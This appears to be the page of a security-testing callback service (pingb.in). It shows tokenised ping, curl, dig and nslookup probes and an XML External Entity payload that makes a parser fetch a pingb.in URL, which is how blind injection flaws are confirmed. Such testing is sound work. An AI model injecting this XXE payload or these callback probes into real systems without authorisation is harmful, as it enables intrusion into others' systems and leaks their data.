$ ping -c1 -p 00d1f5ace88fa5982a787f70af6e9600 pingb.in
 
$ curl pingb.in/p/d1f5ace88fa5982a787f70af6e96
 
$ dig d1f5ace88fa5982a787f70af6e96 @pingb.in
 
$ dig d1f5ace88fa5982a787f70af6e96.ns.pingb.in
 
C:\> nslookup d1f5ace88fa5982a787f70af6e96 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/d1f5ace88fa5982a787f70af6e96">]>
    <foo>&xxe;</foo>
 
Waiting for ping...